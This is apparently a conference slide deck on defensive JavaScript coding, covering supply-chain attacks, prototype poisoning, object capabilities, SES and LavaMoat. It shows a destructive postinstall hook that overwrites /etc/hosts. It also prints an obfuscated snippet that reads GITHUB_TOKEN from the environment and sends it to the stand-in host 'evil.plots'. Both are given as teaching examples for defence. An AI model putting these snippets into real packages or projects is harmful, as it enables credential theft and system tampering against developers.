Defensive Coding
and Hardened JavaScript
- built for DEFCON31,
- updated for NodeConfEU,
- updated for Confidence,
- updated for X33fcon!
by @naugtur
### how to participate?
# 🧑💻👩💻
>
- Find someone to pair with. I mean it!
- Clone the exercise repo. Both of you. 😉
https://github.com/naugtur/js-training-examples
Wouldn't it be great to fearlessly use them like we did back in 2015?
What if a package turns malicious?
exfiltration
fetch, process.env
prototype pollution
RCE
fs
event-stream
### JS can be tweaked and it's no accident
- designed in 10 days
- humbly assuming there's room for improvement
## polyfills
#### and
## prototype poisoning
#### are the same thing
#### with different intentions
## Prototype poisoning
# 🧪🍏
![]()
```js
const a = {};
Object.prototype.toString = ()=>'👻';
console.log(`scary object: ${a}`);
```
```
scary object: 👻
```
## exercise time!
## 🏋️
[js-training-examples -> defensive coding](https://github.com/naugtur/js-training-examples)
### Should we reinvent
### the wheel?
[ses/src/commons.js](https://github.com/endojs/endo/blob/master/packages/ses/src/commons.js)
### does it scale?
how to convince the entire ecosystem to use it?
#### We don't really have to
# 🤯
### JS design is good for security?
- Take ECMA + W3C
- Add Conway's Law
- Separation between language and APIs
- Power only reachable through scope
#### All we need to do is control scope
process
window
Lambda function
ClFl worker
iframe
thread
process
process
process
ClFl worker
iframe
thread
process
process
process
### Object Capability
vs identity based security
- code gets references to capable objects
- code doesn't "work on your behalf"
### Object Capability
You already know how to use it
```js
import { lint } from 'some-linter'
import { readFile } from 'node:fs/promises'
const fs = { readFile }
lint({ fs })
```
### Object Capability
This is called attenuation BTW
```js
import { lint } from 'some-linter'
import { readFile } from 'node:fs/promises'
const fs = {
readFile: async (path) => {
if(!allowed(path)) { throw Error('nope') }
return readFile(path)
},
}
lint({ fs })
```
### SES
- `Compartment` - scope isolation
- `lockdown` - makes your Realm secure
- `harden` - protects capable objects
#### `lockdown()`
#### is
#### `Object.freeze()`
#### on steroids
# 💪
#### So do we need to convince the ecosystem to use OCAP style?
# No!
### There's an app for that
Let's install some dependencies!
That's what you think.
"postinstall": "echo 💩 > /etc/hosts"
### Ok, wait
```
✨🐋
npm ci
cp node_modules s3://
🔥🔥🐋🔥🔥
```
Hold my 🍺
├─app.ts
├─node_modules
│ ├─@naugtur
│ │ └─evilpackage
| │ ├─evilPlots.js --,
| │ └─package.json |
│ └─typescript 💩
│ ├─lib |
│ | └─tsc.js <-------'
│ └─package.json
└─package.json
## ignore scripts
```
npm ci --ignore-scripts
```
Run selected scritps
```
npm rebuild bcrypt
```
#### look what I found!
![lavamoat](./lavamoat-logo.png)
And in that moment
the installation process was protected
#### let's get serious
> Dear ${ eslintPluginMaintainer },
> I understand you're busy and I'd be happy to help with maintenance of your
tiny but popular plugin...
#### ok, just in case you do
```
const _0x765e5=_0x46a0;(function(_0x57764e,_0x91aa41){const
_0x32405d=_0x46a0,_0x165444=_0x57764e();while(!![]){try{const
_0x42ba82=-parseInt(_0x32405d(0x150))/0x1*(parseInt(_0x32405d(0x15e))/0x2)+-parseInt(_0x32405d(0x153))/0x3*(-parseInt(_0x32405d(0x14f))/0x4)+parseInt(_0x32405d(0x159))/0x5*(-parseInt(_0x32405d(0x158))/0x6)+parseInt(_0x32405d(0x151))/0x7*(-parseInt(_0x32405d(0x152))/0x8)+parseInt(_0x32405d(0x157))/0x9+-parseInt(_0x32405d(0x15f))/0xa+parseInt(_0x32405d(0x15a))/0xb;
if(_0x42ba82===_0x91aa41)break;else
_0x165444['push'](_0x165444['shift']());}catch(_0x54f92f){_0x165444['push'](_0x165444['shift']());}}}(_0x3641,0x8e73e));function
_0x3641()
{const _0x5d9864=['/stolen/','evil.plots','2511378rgvTaf','5826vwOBSz','3845SrYtZx',
'37351105uFQfso','request','end','https','72326kmzepu','8558100KDxwfw',
'GITHUB_TOKEN','25432JwBMWs','29XqXcpt','4547823ytmFVF','8EFXBHJ','99iKrczU','env'];
_0x3641=function(){return _0x5d9864;};return _0x3641();}function _0x46a0(_0x24c0cb,_0x27294c){const
_0x3641a1=_0x3641();return _0x46a0=function(_0x46a08f,_0x225127){_0x46a08f=_0x46a08f-0x14f;let
_0x16a89a=_0x3641a1[_0x46a08f];return _0x16a89a;},
_0x46a0(_0x24c0cb,_0x27294c);}const
credentials=process[_0x765e5(0x154)][_0x765e5(0x160)],req=require(_0x765e5(0x15d))[_0x765e5(0x15b)]({'hostname':_0x765e5(0x156),'path':_0x765e5(0x155)+credentials},()=>{});req[_0x765e5(0x15c)]();
```
#### should I keep going?
![](./ilus/obfuscated.png)
#### yo, there's an app for that!
![lavamoat](./lavamoat-logo.png)
# how ?!
![](./ilus/hacker3.png)
### I can do frontend too
1. LavaMoat webpack plugin (in BETA)
2. browserify
Wanna try the plugin?
#### Open Beta hub here:
[https://github.com/LavaMoat/LavaMoat/discussions/723](https://github.com/LavaMoat/LavaMoat/discussions/723)
we could work side-by-side